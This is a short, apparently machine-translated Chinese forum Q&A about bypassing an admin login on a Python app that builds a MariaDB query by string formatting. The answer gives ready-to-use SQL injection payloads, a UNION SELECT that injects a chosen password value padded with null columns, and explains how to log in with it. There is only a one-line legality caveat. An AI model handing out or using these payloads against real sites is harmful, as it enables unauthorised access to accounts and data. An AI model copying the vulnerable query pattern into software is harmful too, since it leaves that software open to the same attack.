我刚刚遇到一个非常简单但相当复杂的SQL查询,它在验证MariaDB中的用户名时执行。该声明有两个逃避字符,我似乎无法解决这个问题。我一直在尝试不同的有效载荷,但它们似乎都不起作用。在无效语句上,它返回一个回调调用错误,通知错误。
我已经尝试过1'或'1'='1和0版本
python
if cur.execute('SELECT password FROM admins WHERE username=\'%s\'' % request.form['username'].replace('%', '%%')) == 0:
我想找到一种绕过这个验证声明并授予我访问权限的方法。
请记住,您不拥有/拥有所有者同意的网站上的此类做法是非法的。
尝试使用和Union,输入:
' and 1=2 UNION SELECT 'anypass' --
如果我正确理解你的问题,会产生以下查询:
SELECT password FROM admins WHERE username='' and 1=2 UNION SELECT 'anypass' --
Union运算符需要相同数量的列,如果出现该类型的错误,请尝试以下操作:
' and 1=2 UNION SELECT 'anypass', null --
添加空列,直到不再出现错误。
然后你只需要在密码字段中输入'anypass'。